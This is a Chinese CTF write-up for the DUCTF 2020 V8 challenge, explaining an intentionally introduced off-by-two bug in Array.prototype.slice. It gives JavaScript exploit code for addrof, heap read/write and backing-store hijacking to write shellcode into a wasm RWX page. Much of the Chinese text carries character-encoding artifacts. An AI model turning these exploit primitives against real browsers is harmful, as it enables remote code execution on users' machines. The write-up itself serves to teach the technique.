ductf2020 pwn-or-web v8

題目信息

Author: Faith

Why do some people think browser exploitation == web?

Once you get code execution, you can execute /chal/flagprinter to get the flag. No need to get a shell.

V8 commit: 47054c840e26394dea0e36df47884202a15dd16d V8 version: 8.7.9 nc chal.duc.tf 30004

Challenge files: https://storage.googleapis.com/files.duc.tf/uploads/pwn/is-this-pwn-or-web/challenge.tar.gz (sha256: e1c70edde66932ca3ee9285fe37c04254ae5a0e00b265c68fe93440bbe3256e8)

patch

src/builtins/array-slice.tq

-        return ExtractFastJSArray(context, a, start, count);
+        // return ExtractFastJSArray(context, a, start, count);
+        // Instead of doing it the usual way, I've found out that returning it
+        // the following way gives us a 10x speedup!
+        const array: JSArray = ExtractFastJSArray(context, a, start, count);
+        const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+            otherwise Bailout;
+        array.ChangeLength(newLength);
+        return array;

當start指定為0時,這里把數(shù)組的長度增加了2,導致我們可以讀寫array elements后兩個元素的值。

利用

JSArray結(jié)構(gòu)

對于這樣一個array

a = [1.1, 2.2, 3.3, 4.4]

在slice之后

d8> b = a.slice(0)
[1.1, 2.2, 3.3, 4.4, , ]
d8> b.length
6
d8> b[4]
4.768128617178215e-270
d8> b[5]
2.5530533391e-313
a = [1.1, 2.2, 3.3];

DebugPrint: 0xe3b08085aa9: [JSArray]
 - map: 0x0e3b082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0e3b0820a555 <JSArray[0]>
 - elements: 0x0e3b08085a89 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x0e3b080426dd <FixedArray[0]> {
    0xe3b08044649: [String] in ReadOnlySpace: #length: 0x0e3b08182159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0e3b08085a89 <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 3.3
 }

查看elements

pwndbg> x/10gx 0x0e3b08085a89-1
0xe3b08085a88:  0x0000000608042a31  0x3ff199999999999a (1.1)
0xe3b08085a98:  0x400199999999999a(2.2) 0x400a666666666666 (3.3)
0xe3b08085aa8:  0x080426dd082438fd (map ptr)    0x0000000608085a89   (element ptr)
0xe3b08085ab8:  0x00000006080424a5  0x08085af908085acd
0xe3b08085ac8:  0x0824579d08085b25  0x080426dd080426dd

pwndbg> x/10gf 0x0e3b08085a89-1
0xe3b08085a88:  1.2798421967007003e-313 1.1000000000000001
0xe3b08085a98:  2.2000000000000002  3.2999999999999998
0xe3b08085aa8:  4.7681286171782151e-270 1.2798557597908099e-313

                  +-------------+-------------+
   0x0e3b08085a88 |             |             |
          +------>|             |   1.1       |
          |       +---------------------------+
          |       |             |             |
          |       |    2.2      |   3.3       |
          |       +---------------------------+
          |       |             |  float_arr  |  0xe3b08085aa8
          |       |    4.4      |     map     |  JSArray start
          |       +---------------------------+
          |       | elements    |             |
          +-------+   ptr       |             |
                  +-------------+-------------+

元素的實際數(shù)值放置于element_ptr+0x8的地方

可控多出來的兩個元素,分別為float_arr map和element ptr

浮點數(shù)與整數(shù)的轉(zhuǎn)換

Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) == float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) == BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

addrof

修改float_arr的elements指針到obj_arr的 elements指針,這樣通過把obj放到obj_arr,再從float_arr讀取數(shù)據(jù)就能拿到obj的地址。

                 obj_arr                       float_arr
         +----------+---------+            +-----------+---------+
         |  map     | elems   |            | map       |elems    |
         |          |         |            |           |         |
         +----------+-----+---+            +-----------+-----+---+
                          |                                  |
                          +-----+----------------------------+
                                |
                                v
                          +--------------+
                          | obj ptr1     |+--->  {A:1.1}
                          +--------------+
                          | obj ptr2     |+--->  {B:2.2}
                          +--------------+
                          |  ...         |
                          |              |
                          |              |
                          |              |
                          +--------------+

泄露map ptr和 element ptr

a = [1.1, 2.2, 3.3];
b = [{A:1}, {B:2}, {C:3}];

float_arr = a.slice(0);
obj_arr = b.slice(0);

float_map = float_arr[3];
float_elems = float_arr[4];

調(diào)試可知obj_map,obj_elemsfloat_mapfloat_elems 的偏移。

float_arr :

DebugPrint: 0x25b008085b59: [JSArray]
 - map: 0x25b0082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
...
 - elements: 0x25b008085b39 <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 3.3
 }


obj_arr :

DebugPrint: 0x25b008085b7d: [JSArray]
 - map: 0x25b00824394d <Map(PACKED_ELEMENTS)> [FastProperties]
...
 - elements: 0x25b008085b69 <FixedArray[3]> {
           0: 0x25b008085aa5 <Object map = 0x25b00824579d>
           1: 0x25b008085ad1 <Object map = 0x25b0082457c5>
           2: 0x25b008085afd <Object map = 0x25b0082457ed>
 }

obj_map = itof(ftoi(float_map) + (0x50n));
obj_elems = itof(ftoi(float_elems) + (0x30n));

修改float_arr的elements指針到obj_arr的 elements指針

// hijack obj element ptr
float_arr[4]= obj_elems ;

addrof

function addrof(in_obj) {
        // put the obj into our object array
        obj_arr[0] = in_obj;

        // accessing the first element of the float array
        // treats the value there as a float:
        let addr = float_arr[0];

        // Convert to bigint
        return ftoi(addr);
}

Arbitrary read/write within v8 heap

修改elements指針到R/W的地址即可。
由于v8堆內(nèi)使用了指針壓縮,而base不可知,所以只能R/W堆內(nèi)的地址(即傳入的地址需要時壓縮后的指針)

function arbi_r(target_addr){
    t=[1.1]
    // read is performed at addr + 0x8
    target_addr = target_addr - 0x8n

    // ensure addr is tagged as a pointer
    if (target_addr % 2n == 0) {
        target_addr += 1n;
    }
    
    hijacked_t = t.slice(0);
    hijacked_t[2]=itof(target_addr);

    return ftoi(hijacked_t[0]);

}

function arbi_w(target_addr, val) { // both as BigInts
    t = [1.1]

    // write is made at addr + 0x8
    target_addr = target_addr - 0x8n

    // ensure addr is tagged
    if (target_addr % 2n == 0) {
        target_addr += 1n;
    }

    tmp_arr = t.slice(0)
    // set elem ptr to desired address
    tmp_arr[2] = itof(target_addr)

    // set addr to desired value
    tmp_arr[0] = itof(val)
}

任意R/W

為了實現(xiàn)堆外的R/W,可以通過修改typed arrays的backing store為目標地址。

                v8 heap                          'actual' heap
        +----------------------------+        +---------------------+
        |                            |        |                     |
        |  buf    +--------------+   |      +-->                    |
        |         |              |   |      | |                     |
        |         |   . . .      |   |      | |                     |
        |         |              |   |      | +---------------------+
        |         |              |   |      |
        |         +--------------+   |      |
        |         |  backing     |   |      |
        |         |  store ptr   +----------+
        |         +--------------+   |
        +----------------------------+
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);

// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n

// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)

wasm中的RXW段

查看WasmInstanceObject的布局

DebugPrint: 0x360c08211751: [WasmInstanceObject] in OldSpace
 - map: 0x360c08245275 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x360c080835fd <Object map = 0x360c0824588d>
 - elements: 0x360c080426dd <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x360c080859ed <Module map = 0x360c0824510d>
 - exports_object: 0x360c08085b49 <Object map = 0x360c0824592d>
 - native_context: 0x360c0820221d <NativeContext[243]>
 - memory_object: 0x360c08211739 <Memory map = 0x360c0824551d>
 - table 0: 0x360c08085b1d <Table map = 0x360c0824538d>
 - imported_function_refs: 0x360c080426dd <FixedArray[0]>
 - indirect_function_table_refs: 0x360c080426dd <FixedArray[0]>
 - managed_native_allocations: 0x360c08085ad5 <Foreign>
 - memory_start: 0x7ffddc000000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 0x555556ae9670
 - globals_start: (nil)
 - imported_mutable_globals: 0x555556ae9690
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x360c080426dd <FixedArray[0]> {}

pwndbg> telescope 0x360c08211751-1 20
00:0000│   0x360c08211750 ?— 0x80426dd08245275
01:0008│   0x360c08211758 ?— 0xdc000000080426dd
02:0010│   0x360c08211760 ?— 0x1000000007ffd
03:0018│   0x360c08211768 ?— 0xffff00000000
04:0020│   0x360c08211770 ?— 0x4800000000
05:0028│   0x360c08211778 ?— 0x80426dd0000360c /* '\x0c6' */
06:0030│   0x360c08211780 —? 0x555556ae9670 —? 0x7ffff73f2ca0 (main_arena+96) —? 0x555556b70780 ?— 0x0
07:0038│   0x360c08211788 ?— 0x80426dd
08:0040│   0x360c08211790 ?— 0x0
... ↓
0b:0058│   0x360c082117a8 —? 0x555556ae9690 —? 0x7ffff73f2ca0 (main_arena+96) —? 0x555556b70780 ?— 0x0
0c:0060│   0x360c082117b0 —? 0x360c00000000 —? 0x7fffffffd780 ?— 0x360c00000000
0d:0068│   0x360c082117b8 —? 0xcff4e389000 ?— jmp    0xcff4e3893a0 /* 0xcccccc0000039be9 */
0e:0070│   0x360c082117c0 ?— 0x8085b49080859ed
0f:0078│   0x360c082117c8 ?— 0x82117390820221d
10:0080│   0x360c082117d0 ?— 0x804230108042301
11:0088│   0x360c082117d8 ?— 0x8085b1108042301
12:0090│   0x360c082117e0 ?— 0x8085ad508085b3d
13:0098│   0x360c082117e8 ?— 0x8085b8108042301

其中0x360c082117b8 (+0x68)處的地址0xcff4e389000處于RXW段

pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     0xcff4e389000      0xcff4e38a000 rwxp     1000 0  

向其中寫入shellcode即可

var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);

// %DebugPrint(buf);
// %SystemBreak();
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n

// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)

// backing store now points to the rwx segment, copy in our shellcode
for (let i = 0; i < shellcode.length; i++) {
    uint8_arr[i] = shellcode[i]
}

wasm_func();

murmur

大致一道V8的題目,分為構(gòu)造addrof, (withinHeap) arbitraryR/W, (allAddr) arbitraryR/W 的primitive。
其中可以通過TypedArraybacking store,實現(xiàn)任意地址的arbitrary R/W
(https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html)

reference

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,748評論 6 531
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,165評論 3 414
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,595評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,633評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,435評論 6 405
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 54,943評論 1 321
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,035評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,175評論 0 287
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,713評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 40,599評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,788評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,303評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 44,034評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,412評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,664評論 1 280
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,408評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,747評論 2 370